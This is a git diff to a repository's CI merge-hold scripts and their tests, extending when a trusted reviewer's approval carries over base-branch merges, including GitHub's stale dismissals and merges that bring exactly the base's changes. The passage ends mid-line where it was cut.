diff --git a/.changes/pr-pipeline/fix-exact-base-merge-carry-9c3a5e16.md b/.changes/pr-pipeline/fix-exact-base-merge-carry-9c3a5e16.md new file mode 100644 index 0000000000..abc32d5b82 --- /dev/null +++ b/.changes/pr-pipeline/fix-exact-base-merge-carry-9c3a5e16.md @@ -0,0 +1,7 @@ +--- +bump: patch +--- + +### Fixed + +- `ci-status` and `enable-auto-merge` carry a trusted person's hold-path approval over a base merge in two more cases (`merge-holds.mjs` `liftersOf`). An approval GitHub dismissed as stale on the merge's push counts, bound to its own commit and only through the carry (`autoDismissed`: a `review_dismissed` timeline event with no message, a Bot actor and a dismissal commit the merges pushed); a dismissal with a message, by a person, or by a person's push revokes it. When the base changed a file the pull request also changes, the approval carries when the merges brought exactly the base's changes (`exactBaseCarry`, `approvalCarry`): the compare from the approved head to the current head equals, file for file, the compare between the two merge bases. A merge that writes anything of its own carries nothing, and a list of 300 files or more fails closed. The cost-decision carry is unchanged. The carry runs only into the repository's default branch, and the exact path also reads the recursive trees of the current head and of its merge base with the base's tip, so a merge that flips the mode of a file the base changed carries nothing; a truncated tree fails closed. diff --git a/.changes/source-control/fix-exact-base-merge-carry-4b1e7d02.md b/.changes/source-control/fix-exact-base-merge-carry-4b1e7d02.md new file mode 100644 index 0000000000..d631dd062b --- /dev/null +++ b/.changes/source-control/fix-exact-base-merge-carry-4b1e7d02.md @@ -0,0 +1,7 @@ +--- +bump: patch +--- + +### Fixed + +- A trusted person's approval of an earlier head now carries a hold-path lift over a base merge in the two cases that sent every such pull request back to them. An approval GitHub dismissed as stale on the merge's push still counts, bound to its own commit and only through the carry: the issue timeline's `review_dismissed` event has no message, a Bot actor and a dismissal commit among those pushed since the approved head (`auto_dismissed`). A dismissal with a message, by a person, or by a person's push still revokes it. When the base changed a file the pull request also changes, so the net change differs, the approval carries when the merges brought exactly the base's changes: the compare from the approved head to the current head equals, file for file with the same status and patch, the compare between the two merge bases with the base's tip (`exact_base_carry`, `approval_carry`, `carried_lifters`). A merge that writes any change of its own or drops a base change, a list of 300 files or more, or a commit list not read whole carries nothing. The owner's cost-decision carry is unchanged. The carry runs only into the repository's default branch, and the exact path also reads the recursive trees of the current head and of its merge base with the base's tip, so a merge that flips the mode of a file the base changed carries nothing; a truncated tree fails closed. diff --git a/.github/scripts/pr-merge/enable-auto-merge.test.mjs b/.github/scripts/pr-merge/enable-auto-merge.test.mjs index f7d1748fa6..33cfadfd70 100644 --- a/.github/scripts/pr-merge/enable-auto-merge.test.mjs +++ b/.github/scripts/pr-merge/enable-auto-merge.test.mjs @@ -1391,7 +1391,7 @@ test("a hold path stays held without a trusted approval of the head", async () = // base. The approval carries to the merge, so it arms and is not labeled // again; a merge that also edits the hold path is sent back to a person, and // a label removal alone lifts nothing (the owner's decision on #10596). -test("an approval before a base merge lifts the hold path at the merge, and an evil merge or a label removal does not", async () => { +test("an approval before a base merge, or its stale dismissal, lifts the hold path at the merge, and an evil merge, a dismissal with a message or a label removal does not", async () => { const OLD = "a".repeat(40); const MAIN = "5".repeat(40); const P = "/repos/melodic-software/claude-code-plugins"; @@ -1401,6 +1401,7 @@ test("an approval before a base merge lifts the hold path at the merge, and an e const TIP = "3".repeat(40); const rest = (number, headFiles, reviews = [approval]) => ({ [`${P}/pulls/${number}`]: { head: { sha: HEAD, ref: `fix/held-${number}`, repo: { full_name: "melodic-software/claude-code-plugins" } }, base: { ref: "main" }, changed_files: headFiles.length }, + [P]: { full_name: "melodic-software/claude-code-plugins", default_branch: "main" }, [`${P}/git/ref/heads/main`]: { ref: "refs/heads/main", object: { type: "commit", sha: TIP } }, [`${P}/pulls/${number}/reviews?per_page=100&page=1`]: reviews, [`${P}/compare/${TIP}...${OLD}`]: { files: [held], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }, @@ -1427,6 +1428,24 @@ test("an approval before a base merge lifts the hold path at the merge, and an e }; const removed = await run([pull(62, { headRefName: "fix/held-62", files: HELD, rest: removal })], trustedKyle()); assert.deepEqual(removed.writes, []); + // The owner's decision of 2026-10-28: the approval GitHub dismissed as + // stale on the merge's push (a Bot's dismissal with no message, by the + // pushed head) still carries; one dismissed with a message does not. + const dismissedEvent = (message) => ({ + event: "review_dismissed", + actor: { login: "lanes[bot]", type: "Bot" }, + dismissed_review: { review_id: 41, state: "approved", dismissal_message: message, dismissal_commit_id: HEAD }, + }); + const staleRest = (number, message) => ({ + ...rest(number, [held], [{ ...approval, state: "DISMISSED" }]), + [`${P}/issues/${number}/timeline?per_page=100&page=1`]: [dismissedEvent(message)], + }); + const stale = await run([pull(63, { files: HELD, rest: staleRest(63, null) })], trustedKyle()); + assert.deepEqual(stale.writes, [{ mutation: "arm", id: "PR_63", head: HEAD }]); + assert.deepEqual(stale.notes, []); + const revoked = await run([pull(64, { files: HELD, rest: staleRest(64, "stale") })], trustedKyle()); + assert.deepEqual(revoked.writes, []); + assert.deepEqual(revoked.notes.map(({ path }) => path), [`${ISSUES}/64/comments`, `${ISSUES}/64/labels`]); }); test("an approval lifts no unread hold-path check and no capped file listing", () => { diff --git a/.github/scripts/pr-merge/merge-holds.mjs b/.github/scripts/pr-merge/merge-holds.mjs index 6c389dd39f..4c5e8e05ea 100755 --- a/.github/scripts/pr-merge/merge-holds.mjs +++ b/.github/scripts/pr-merge/merge-holds.mjs @@ -22,10 +22,11 @@ // list lifts it by approving the head (their newest review of the head // that approves, requests changes or was dismissed must approve), or by // approving an earlier head that carries to it (liftersOf): their newest -// review approves that head, and every change since is a merge of the base -// that leaves the net change against the base's tip the same over every -// file (baseMergeCarry). No other path is held for being trusted alone: the -// review lanes judge it. +// review approves that head, or is that approval GitHub dismissed as stale +// on a later push (autoDismissed), and every change since is a merge of the +// base that leaves the net change against the base's tip the same over +// every file, or that brought exactly the base's changes (approvalCarry). +// No other path is held for being trusted alone: the review lanes judge it. // - A trusted-actor list widening (actorsHold, the rule of // babysit_risk._actors_widened): TRUSTED_ACTORS_PATH read at the base commit // (BASE_SHA) and the head and compared; only removing entries passes. The @@ -222,6 +223,7 @@ export function vetoers(items) { // One REST issue comment, review or review comment as a vetoers item. export const fromRest = (row) => ({ + id: row?.id, login: String(row?.user?.login ?? ""), userId: row?.user?.id, state: row?.state, @@ -734,15 +736,15 @@ export function sameNetChange(decided, current) { return then !== null && now !== null && then.size === now.size && [...then].every(([name, value]) => now.get(name) === value); } +// A compare answer's commits, or null when the list is not read whole +// (shorter than total_commits, the compare API's 250). +const listedCommits = (compare) => + Array.isArray(compare?.commits) && Number.isInteger(compare.total_commits) && compare.total_commits === compare.commits.length ? compare.commits : null; + // The commits a compare answer `now` (base...H') lists beyond `then` -// (base...H), or null when either list is not read whole (shorter than -// total_commits, the compare API's 250). +// (base...H), or null when either list is not read whole. function newCommits(then, now) { - const listed = (compare) => - Array.isArray(compare?.commits) && Number.isInteger(compare.total_commits) && compare.total_commits === compare.commits.length - ? compare.commits - : null; - const [before, after] = [listed(then), listed(now)]; + const [before, after] = [listedCommits(then), listedCommits(now)]; if (before === null || after === null) return null; const old = new Set(before.map((c) => c?.sha)); return after.filter((c) => !old.has(c?.sha)); @@ -784,6 +786,93 @@ export function baseMergeCarry(then, now, from, inBase = []) { return baseMergesOnly(then, now, from, new Set(inBase)) && sameNetChange(then, now); } +// Whether the merges brought exactly the base's changes (the owner's decision +// of 2026-10-28, part b): `merges` is the compare H...H', what the merges +// brought into the approved head, and `based` the compare M...M' between the +// merge bases of H and of H' with the base's tip, what the base changed over +// that range. H' must be ahead of H and M' of (or at) M, each commit list read +// whole, and the two file lists the same file for file (sameNetChange, so +// each list is under 300 files and every file has a patch). A file the merges +// changed beyond the base, or a base change they dropped, carries nothing. +// This assumes GitHub omits no file from a compare's list of fewer than 300 +// files; nothing here reads a second listing to check that. The compare API +// reports no file mode, so `trees` ([H' tree, M' tree], each a recursive +// git/trees answer) decide it (sameModes): every brought file must have the +// same mode at H' as at M', and the trees cross-check that each path is +// present (or, removed or renamed away, absent) in both. +export function exactBaseCarry(merges, based, trees = null) { + const forward = (compare, statuses) => statuses.includes(compare?.status) && compare.behind_by === 0 && listedCommits(compare) !== null; + return forward(merges, ["ahead"]) && forward(based, ["ahead", "identical"]) && sameNetChange(merges, based) && sameModes(merges, trees); +} + +// Whether each file a compare `merges` lists has one mode at both trees of +// `trees` (two recursive git/trees answers, read whole: `truncated` false; +// an entry whose mode is not text counts as absent): +// present in both at one mode, or, for a removed file and a renamed file's +// old path, in neither (babysit_merge_policy._same_modes). +function sameModes(merges, trees) { + const modes = (tree) => { + if (tree?.truncated !== false || !Array.isArray(tree.tree)) return null; + const byPath = new Map(); + for (const entry of tree.tree) { + if (typeof entry?.path === "string" && typeof entry.mode === "string" && entry.type !== "tree") byPath.set(entry.path, entry.mode); + } + return byPath; + }; + if (!Array.isArray(trees) || trees.length !== 2) return false; + const [head, base] = trees.map(modes); + if (head === null || base === null) return false; + return merges.files.every((f) => { + const gone = [...(f.status === "removed" ? [f.filename] : []), ...(typeof f.previous_filename === "string" ? [f.previous_filename] : [])]; + const kept = f.status === "removed" ? [] : [f.filename]; + return gone.every((path) => !head.has(path) && !base.has(path)) && kept.every((path) => head.has(path) && head.get(path) === base.get(path)); + }); +} + +// Whether an approval of `from` carries to the head `now` was read at +// (babysit_merge_policy.approval_carry): every commit since is a merge of the +// base (baseMergesOnly), and the net change is the same (sameNetChange) or +// the merges brought exactly the base's changes (exactBaseCarry over +// `merges`, `based` and `trees`, null when not read). An approval GitHub +// dismissed as stale (autoDismissed) passes its `dismissal` commit, which +// must be one of the commits pushed since `from`, so the push the carry +// checks dismissed it. +export function approvalCarry(then, now, from, inBase, merges, based, dismissal = null, trees = null) { + if (!baseMergesOnly(then, now, from, new Set(inBase))) return false; + if (dismissal !== null && !newCommits(then, now).some((c) => c?.sha === dismissal)) return false; + return sameNetChange(then, now) || exactBaseCarry(merges, based, trees); +} + +// The reviews GitHub dismissed as stale, from the pull request's issue +// timeline `events`, as a Map of review id (a string) to the dismissal +// commit: a review_dismissed event of an approval with a null message, by a +// Bot (the account whose push dismissed it), naming a commit SHA. A +// dismissal whose actor is a User revokes: a person's own dismissal, or the +// stale dismissal a person's push caused. That a Bot's deliberate dismissal +// always carries a message is UNVERIFIED (the dismissal API documents the +// message as required), so the null message is a second filter, not the +// one that tells GitHub's dismissal from an App's. A review with any other +// dismissal event is left out. +// A review id as text, from a string or a safe integer (as JSON may give +// either), else null (babysit_merge_policy._review_key). +const reviewKey = (value) => (typeof value === "string" ? value : Number.isSafeInteger(value) ? String(value) : null); + +export function autoDismissed(events) { + const found = new Map(); + const revoked = new Set(); + for (const e of Array.isArray(events) ? events : []) { + if (e?.event !== "review_dismissed") continue; + const d = e.dismissed_review; + const id = reviewKey(d?.review_id); + if (id === null) continue; + const stale = d?.state === "approved" && d.dismissal_message === null && e.actor?.type === "Bot" && /^[0-9a-f]{40}$/.test(String(d.dismissal_commit_id)); + if (stale && !found.has(id)) found.set(id, d.dismissal_commit_id); + else revoked.add(id); + } + for (const id of revoked) found.delete(id); + return found; +} + // The merged parents (mergedParents) the base holds, through `compare` (a // GET of /repos//compare/) against `tip`, the base branch's // tip commit (baseTip): those whose compare is `ahead` or `identical`. A @@ -805,54 +894,88 @@ export async function baseTip(github, repo, base) { return sha; } -// Each trusted person's standing approval, as { login, sha }: their newest -// review (REST, fromRest shape) that approves, requests changes or was -// dismissed, when it approves a commit (babysit_merge_policy.lifts_of). -// Only ids in `humans` count; a dismissed approval never does. -export function liftsOf(reviews, humans) { +// Each trusted person's standing approval, as { login, sha, dismissal }: +// their newest review (REST, fromRest shape) that approves, requests changes +// or was dismissed, when it approves a commit, with `dismissal` null; or when +// it is an approval GitHub dismissed as stale (`dismissed`, autoDismissed's +// Map), with `dismissal` its dismissal commit, which lifts only through the +// carry (babysit_merge_policy.lifts_of). Only ids in `humans` count; any +// other dismissed approval does not. +export function liftsOf(reviews, humans, dismissed = new Map()) { const newest = new Map(); for (const r of reviews ?? []) { if (!r?.isUser || !humans.has(r.userId) || !["APPROVED", "CHANGES_REQUESTED", "DISMISSED"].includes(r.state)) continue; const made = Date.parse(r.at); if (Number.isFinite(made) && (!newest.has(r.userId) || made >= newest.get(r.userId).made)) newest.set(r.userId, { ...r, made }); } - return [...newest.values()].filter((r) => r.state === "APPROVED" && /^[0-9a-f]{40}$/.test(String(r.commitId))).map((r) => ({ login: r.login, sha: r.commitId })); + return [...newest.values()].flatMap((r) => { + const key = reviewKey(r.id); + const restored = r.state === "DISMISSED" && key ? (dismissed.get(key) ?? null) : null; + if (!/^[0-9a-f]{40}$/.test(String(r.commitId)) || (r.state !== "APPROVED" && restored === null)) return []; + return [{ login: r.login, sha: r.commitId, dismissal: restored }]; + }); } // The trusted people whose approval (liftsOf) of pull request `number`'s // `head`, or of an earlier head that carries to it over merges of its base -// branch (baseMergeCarry against the base's tip, baseTip, with -// baseParents), lifts its hold paths, as { lifters }, sorted. It lifts the -// hold path and the trusted-actor list widening only, never the holds an -// approving review of the head itself lifts. Reads: the pull request (a -// head that is no longer `head`, or is in a fork, lifts nothing), the base's -// tip, the reviews, and the compares per approved head. A read that fails -// lifts nothing: the caller keeps the exact-head approvals it read -// (pathLifters). +// branch (approvalCarry against the base's tip, baseTip, with baseParents), +// lifts its hold paths, as { lifters }, sorted. An approval GitHub dismissed +// as stale on a push (autoDismissed, from the issue timeline, read only when +// a trusted person's newest review was dismissed) counts, but only through +// the carry, never as an approval of the head. It lifts the hold path and the +// trusted-actor list widening only, never the holds an approving review of +// the head itself lifts. Reads: the pull request (a head that is no longer +// `head`, or is in a fork, lifts nothing), the reviews, the timeline, the +// repository's default branch (a base that is not it carries nothing), the +// base's tip, and the compares per approved head: against the tip, and when +// the net change differs, H...H', the range between the two merge bases and +// the recursive trees of H' and M' (exactBaseCarry). A read that fails lifts nothing (a timeline that does not +// read restores no dismissed approval): the caller keeps the exact-head +// approvals it read (pathLifters). export async function liftersOf(github, repo, number, head, humans) { try { const pull = await github("GET", `/repos/${repo}/pulls/${number}`); const base = pull?.base?.ref; if (pull?.head?.sha !== head || pull?.head?.repo?.full_name !== repo || !BRANCH.test(String(base))) return { lifters: [] }; const reviews = (await pages(github, `/repos/${repo}/pulls/${number}/reviews`)).map(fromRest); - const lifts = liftsOf(reviews, humans); - const tip = lifts.some(({ sha }) => sha !== head) ? await baseTip(github, repo, base) : null; + const dismissed = reviews.some((r) => r.isUser && humans.has(r.userId) && r.state === "DISMISSED") + ? await pages(github, `/repos/${repo}/issues/${number}/timeline`).then(autoDismissed, () => new Map()) + : new Map(); + const lifts = liftsOf(reviews, humans, dismissed); + // A carry runs only into the repository's default branch: another base + // may be non-linear, with criss-cross merge bases. + const carrying = lifts.some(({ sha }) => sha !== head) && (await github("GET", `/repos/${repo}`))?.default_branch === base; + const tip = carrying ? await baseTip(github, repo, base) : null; const compares = new Map(); const compare = async (range) => { if (!compares.has(range)) compares.set(range, await github("GET", `/repos/${repo}/compare/${range}`)); return compares.get(range); }; + const treeReads = new Map(); + const tree = async (sha) => { + if (!treeReads.has(sha)) treeReads.set(sha, await github("GET", `/repos/${repo}/git/trees/${sha}?recursive=1`)); + return treeReads.get(sha); + }; + const sha40 = (value) => (/^[0-9a-f]{40}$/.test(String(value)) ? value : null); const lifters = new Set(); - for (const { login, sha } of lifts) { + for (const { login, sha, dismissal } of lifts) { if (sha === head) { - lifters.add(login); - } else { - const [then, now] = [await compare(`${tip}...${sha}`), await compare(`${tip}...${head}`)]; - // A compare listing fewer files than the pull request changes is - // cut short, so it carries nothing. - if (!Array.isArray(now?.files) || now.files.length !== pull.changed_files) continue; - if (baseMergeCarry(then, now, sha, await baseParents(compare, tip, then, now))) lifters.add(login); + if (dismissal === null) lifters.add(login); + continue; + } + if (!carrying) continue; + const [then, now] = [await compare(`${tip}...${sha}`), await compare(`${tip}...${head}`)]; + // A compare listing fewer files than the pull request changes is + // cut short, so it carries nothing. + if (!Array.isArray(now?.files) || now.files.length !== pull.changed_files) continue; + const inBase = await baseParents(compare, tip, then, now); + let [merges, based, trees] = [null, null, null]; + const [from, to] = [sha40(then?.merge_base_commit?.sha), sha40(now?.merge_base_commit?.sha)]; + if (baseMergesOnly(then, now, sha, inBase) && !sameNetChange(then, now) && from && to) { + [merges, based] = [await compare(`${sha}...${head}`), await compare(`${from}...${to}`)]; + trees = [await tree(head), await tree(to)]; } + if (approvalCarry(then, now, sha, inBase, merges, based, dismissal, trees)) lifters.add(login); } return { lifters: [...lifters].sort() }; } catch { @@ -1045,14 +1168,14 @@ export function pathLifters(items, humans, head) { export function holds(body, items, files, holdPaths, lifters = [], decision = null, byPerson = true, widened = null) { const reasons = []; if (widened && !lifters.length) { - reasons.push(`${widened}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges of the base that leave its net change the same; then re-run ci-status`); + reasons.push(`${widened}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges that bring only the base's changes; then re-run ci-status`); } const pathReason = pathHold(files, holdPaths); const readable = Array.isArray(files) && Array.isArray(holdPaths); if (pathReason && !(readable && lifters.length)) { reasons.push( readable - ? `${pathReason}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges of the base that leave its net change the same; then re-run ci-status` + ? `${pathReason}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges that bring only the base's changes; then re-run ci-status` : pathReason, ); } diff --git a/.github/scripts/pr-merge/merge-holds.test.mjs b/.github/scripts/pr-merge/merge-holds.test.mjs index 5078084ba7..7414596c3f 100644 --- a/.github/scripts/pr-merge/merge-holds.test.mjs +++ b/.github/scripts/pr-merge/merge-holds.test.mjs @@ -19,6 +19,7 @@ import { writeFileSync } from "node:fs"; import { join } from "node:path"; import { test } from "node:test"; +import * as holdsModule from "./merge-holds.mjs"; import { BODY_WRITERS_QUERY, COMMENT_EDITED_QUERY, HOLD_PATH_CLASSES, HOLD_PATH_FLOOR, PULL_OPENED_QUERY, REVIEW_FLOOR, baseMergeCarry, baseMergesOnly, changeOf, mergedParents, costDecision, costHold, costNotices, decidedHead, evidenceHold, laneChange, linkHold, main, pathHold, sameNetChange, unranHead } from "./merge-holds.mjs"; import { tempDir } from "../../../lib/test-tmp.mjs"; @@ -935,10 +936,12 @@ test("in the merge queue, a missing or unreadable reader report holds", async () // #10224): a trusted person's approving review of a head lifts a later head // only when every commit since is a merge of commits the base holds // (baseMergesOnly) and the net change against the base's tip is the same -// over every file (sameNetChange). The base is read once by its full ref -// (baseTip), and every compare names its tip commit. A label removal never -// lifts a hold path, and a dismissed approval never counts. Every -// adversarial shape keeps the hold. +// over every file (sameNetChange), or the merges brought exactly the base's +// changes (exactBaseCarry). The base is read once by its full ref (baseTip), +// and every compare against it names its tip commit. A label removal never +// lifts a hold path, and a dismissed approval counts only when GitHub +// dismissed it as stale on a base merge's push. Every adversarial shape +// keeps the hold. const HELD = ".github/actions/resolve-config/live-config.test.mjs"; const HELD_PATCH = { filename: HELD, status: "modified", patch: "@@ -1 +1 @@\n-a\n+b" }; const OTHER_HELD = { filename: ".github/actions/resolve-config/resolve.test.mjs", status: "modified", patch: "@@ -1 +1 @@\n-c\n+d" }; @@ -948,15 +951,38 @@ const OTHER = "7".repeat(40); // The base branch's tip commit, which `refs/heads/main` resolves to. const TIP = "3".repeat(40); const review = (state, commit, at = APPROVED_AT, id = 5, type = "User") => ({ id: 41, user: { login: id === 5 ? "owner-person" : "someone", id, type }, state, commit_id: commit, submitted_at: at }); -const merged = (files) => ({ files, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }], total_commits: 2 }); -const atOld = (files = [HELD_PATCH]) => ({ files, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }); +// The merge bases of the approved head and of the head with the base's tip. +const MB_OLD = "1".repeat(40); +const MB_HEAD = "2".repeat(40); +const merged = (files) => ({ files, merge_base_commit: { sha: MB_HEAD }, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }], total_commits: 2 }); +const atOld = (files = [HELD_PATCH]) => ({ files, merge_base_commit: { sha: MB_OLD }, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }); +// What the merges brought into the approved head (compare OLD...HEAD), and +// what the base changed over the same range (compare MB_OLD...MB_HEAD). +const BASE_DOC = { filename: "docs/base.md", status: "modified", patch: "@@ -1 +1 @@\n-p\n+q" }; +const brought = (files = [BASE_DOC], extra = {}) => ({ status: "ahead", behind_by: 0, files, commits: [{ sha: MAIN }, { sha: HEAD }], total_commits: 2, ...extra }); +const baseRange = (files = [BASE_DOC], extra = {}) => ({ status: "ahead", behind_by: 0, files, commits: [{ sha: MB_HEAD }], total_commits: 1, ...extra }); +const ranges = (merges = brought(), based = baseRange()) => ({ [`${OLD}...${HEAD}`]: merges, [`${MB_OLD}...${MB_HEAD}`]: based }); +// A recursive tree answer: each entry [path, mode]. +const treeOf = (entries, extra = {}) => ({ truncated: false, tree: entries.map(([path, mode = "100644"]) => ({ path, mode, type: "blob", sha: "b".repeat(40) })), ...extra }); +const FILES_AT = [["docs/base.md"], [".github/actions/collect-base-activity/collect-base-activity.test.mjs"], [".github/actions/resolve-config/live-config.test.mjs"], ["scripts/helper.sh"], ["scripts/lib.mjs"]]; +// The trees of the head and of its merge base with the tip, which the exact +// carry reads for file modes. +const trees = (head = treeOf(FILES_AT), base = treeOf(FILES_AT)) => ({ [HEAD]: head, [MB_HEAD]: base }); const liftWorld = ({ reviews = [review("APPROVED", OLD)], compares = { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH]) }, + // The two range compares the exact carry reads, consistent by default. + across = ranges(), + modes = trees(), + // The pull request's base branch and the repository's default branch. + base = "main", + defaultBranch = "main", + fork = false, + // The issue timeline, read for the review_dismissed events. + timeline = [], // The base's answer per merged parent against its tip. bases = { [MAIN]: "ahead" }, tip = TIP, - fork = false, // The pull request's own count of changed files; the head compare's by default. changed = null, // A label history and push history the earlier reader bound a removal by, @@ -971,16 +997,25 @@ const liftWorld = ({ reads.push(path); assert.equal(method, "GET"); if (fail && path.includes(fail)) throw new Error(`${fail} failed`); - if (path === "/repos/owner/repo/pulls/99") return { head: { sha: HEAD, ref: "fix/cost", repo: { full_name: fork ? "someone/repo" : REPO } }, base: { ref: "main" }, changed_files: changed ?? compares[HEAD]?.files?.length }; - if (path === "/repos/owner/repo/git/ref/heads/main") return { ref: "refs/heads/main", object: { type: "commit", sha: tip } }; + if (path === "/repos/owner/repo/pulls/99") return { head: { sha: HEAD, ref: "fix/cost", repo: { full_name: fork ? "someone/repo" : REPO } }, base: { ref: base }, changed_files: changed ?? compares[HEAD]?.files?.length }; + if (path === "/repos/owner/repo") { + if (defaultBranch === null) throw new Error("the repository did not read"); + return { full_name: REPO, default_branch: defaultBranch }; + } + if (path === `/repos/owner/repo/git/ref/heads/${base}`) return { ref: `refs/heads/${base}`, object: { type: "commit", sha: tip } }; + const tree = /^\/repos\/owner\/repo\/git\/trees\/([0-9a-f]{40})\?recursive=1$/.exec(path); + if (tree && tree[1] in modes) return modes[tree[1]]; if (path.startsWith("/repos/owner/repo/pulls/99/reviews?")) return path.endsWith("page=1") ? reviews : []; if (path.startsWith("/repos/owner/repo/issues/99/events?")) return path.endsWith("page=1") ? events : []; + if (path.startsWith("/repos/owner/repo/issues/99/timeline?")) return path.endsWith("page=1") ? timeline : []; if (path === "/repos/owner/repo/activity?ref=refs%2Fheads%2Ffix%2Fcost&direction=desc&per_page=100") return activity; if (path === `/repos/owner/repo/contents/.work-item-tracker.json?ref=${BASE}`) return { type: "file", encoding: "base64", content: Buffer.from(JSON.stringify(tracker)).toString("base64") }; const parent = new RegExp(`^/repos/owner/repo/compare/([0-9a-f]{40})\\.\\.\\.${TIP}$`).exec(path); if (parent) return { status: bases[parent[1]] ?? "diverged" }; const compare = new RegExp(`^/repos/owner/repo/compare/${TIP}\\.\\.\\.([0-9a-f]{40})$`).exec(path); if (compare && compare[1] in compares) return compares[compare[1]]; + const range = /^\/repos\/owner\/repo\/compare\/([0-9a-f]{40}\.\.\.[0-9a-f]{40})$/.exec(path); + if (range && range[1] in across) return across[range[1]]; throw new Error(`unexpected read ${path}`); }; return { github, reads }; @@ -1034,18 +1069,21 @@ test("an approval of an earlier head lifts a hold path over a later base merge, // put the label on at 23:05; the person removed it at 23:26:14. const LABEL = (event, at, id, login, app = null) => ({ event, label: { name: "needs-human" }, actor: { id, login }, performed_via_github_app: app, created_at: at }); const REMOVAL = [LABEL("labeled", "2026-10-27T23:05:00Z", 2, "lanes[bot]", { slug: "lanes" }), LABEL("unlabeled", APPROVED_AT, 5, "owner-person")]; +// GitHub's own stale-review dismissal on the base merge's push, as #10224's +// timeline shows it: the pushing App as actor, no message, the pushed commit. const STALE = { event: "review_dismissed", - actor: { id: 2, login: "lanes[bot]" }, + actor: { id: 2, login: "lanes[bot]", type: "Bot" }, created_at: "2026-10-27T23:32:35Z", dismissed_review: { review_id: 41, state: "approved", dismissal_message: null, dismissal_commit_id: HEAD }, }; -test("a label removal or a stale-dismissed approval lifts no hold path", async () => { +const stale = (change = {}, actor = {}) => ({ ...STALE, actor: { ...STALE.actor, ...actor }, dismissed_review: { ...STALE.dismissed_review, ...change } }); +const DISMISSED_OLD = review("DISMISSED", OLD, "2026-10-27T23:31:57Z"); +test("a label removal lifts no hold path", async () => { for (const [name, options] of Object.entries({ "a removal before a base merge": { reviews: [], events: REMOVAL }, "a removal while this is the head": { reviews: [], events: REMOVAL, activity: [push(HEAD, "2026-10-27T23:00:00Z")] }, - "an approval GitHub dismissed as stale on the merge's push": { reviews: [review("DISMISSED", OLD, "2026-10-27T23:31:57Z")], events: [STALE] }, - "both": { reviews: [review("DISMISSED", OLD, "2026-10-27T23:31:57Z")], events: [...REMOVAL, STALE] }, + "a removal beside an approval dismissed by a person": { reviews: [DISMISSED_OLD], events: REMOVAL, timeline: [stale({ dismissal_message: "stale" }, { type: "User" })] }, })) { const world = liftWorld(options); const run = await lifting(world); @@ -1055,21 +1093,136 @@ test("a label removal or a stale-dismissed approval lifts no hold path", async ( } }); +// The owner's decision of 2026-10-28 (part a): an approval GitHub dismissed +// as stale on the push of a base merge still counts, bound to its own commit, +// and lifts the head only through the carry. +test("an approval GitHub dismissed as stale on a base merge's push carries", async () => { + for (const [name, options] of Object.entries({ + "the same net change": { reviews: [DISMISSED_OLD], timeline: [STALE] }, + "beside a label removal": { reviews: [DISMISSED_OLD], timeline: [STALE], events: REMOVAL }, + "a timeline review id read as a string": { reviews: [DISMISSED_OLD], timeline: [stale({ review_id: "41" })] }, + })) { + const world = liftWorld(options); + const run = await lifting(world); + assert.equal(run.code, 0, `${name}: ${run.out}`); + assert.match(run.out, /owner-person approved an earlier head whose every change since is a base merge, which lifts its hold path/, name); + assert.ok(world.reads.some((path) => path.startsWith("/repos/owner/repo/issues/99/timeline?")), name); + } +}); + +test("a dismissal with a message, by a person, or not by the push the carry checks revokes the approval", async () => { + for (const [name, options] of Object.entries({ + "a dismissal with a message": { timeline: [stale({ dismissal_message: "stale" })] }, + "an empty message": { timeline: [stale({ dismissal_message: "" })] }, + "no message field": { timeline: [{ ...STALE, dismissed_review: { review_id: 41, state: "approved", dismissal_commit_id: HEAD } }] }, + "a dismissal by a person": { timeline: [stale({}, { type: "User" })] }, + "a dismissal with no actor": { timeline: [{ ...STALE, actor: null }] }, + "a dismissed request for changes": { timeline: [stale({ state: "changes_requested" })] }, + "a dismissal of another review": { timeline: [stale({ review_id: 42 })] }, + "a second dismissal event with a message": { timeline: [STALE, stale({ dismissal_message: "no" }, { type: "User" })] }, + "a dismissal commit the merges did not push": { timeline: [stale({ dismissal_commit_id: OTHER })] }, + "the approved head as the dismissal commit": { timeline: [stale({ dismissal_commit_id: OLD })] }, + "a dismissal commit that is no sha": { timeline: [stale({ dismissal_commit_id: null })] }, + "no dismissal event": { timeline: [] }, + "an unreadable timeline": { timeline: [STALE], fail: "/timeline?" }, + // Approve the head, push X, force-push the head back: no range, no lift. + "a dismissed approval of the head itself": { reviews: [review("DISMISSED", HEAD, "2026-10-27T23:31:57Z")], timeline: [stale()] }, + "a request for changes after the dismissed approval": { reviews: [DISMISSED_OLD, { ...review("CHANGES_REQUESTED", HEAD, "2026-10-27T23:40:00Z"), id: 43 }], timeline: [STALE] }, + "a dismissed approval by a person off the trusted-actor list": { reviews: [review("DISMISSED", OLD, APPROVED_AT, 77)], timeline: [STALE] }, + "a merge that also edits a file": { timeline: [STALE], compares: { [OLD]: atOld([HELD_PATCH, HELPER]), [HEAD]: merged([HELD_PATCH, { ...HELPER, patch: "+evil" }]) }, across: ranges(brought([BASE_DOC, { ...HELPER, patch: "+evil" }])) }, + })) { + const run = await lifting(liftWorld({ reviews: [DISMISSED_OLD], ...options })); + assert.equal(run.code, 1, `${name}: ${run.out}`); + assert.match(run.out, HOLD_REASON, name); + } +}); + +// The owner's decision of 2026-10-28 (part b): when the net change differs +// because the base changed a file the pull request also changes (#10224's +// shape), the approval carries only when what the merges brought into the +// approved head (OLD...HEAD) is, file for file, what the base changed between +// the two merge bases (MB_OLD...MB_HEAD): identical status and patch. +// #10224's own patches: the pull request's hunks sit lower in the shared +// file, so the base's hunk applies with the same header and context. +const SHARED_AT_OLD = { filename: ".github/actions/collect-base-activity/collect-base-activity.test.mjs", status: "modified", patch: "@@ -93,6 +93,13 @@ let root;\n context\n+mine" }; +const SHARED_AT_HEAD = { ...SHARED_AT_OLD, patch: "@@ -98,6 +98,13 @@ let root;\n context\n+mine" }; +const SHARED_BASE = { filename: 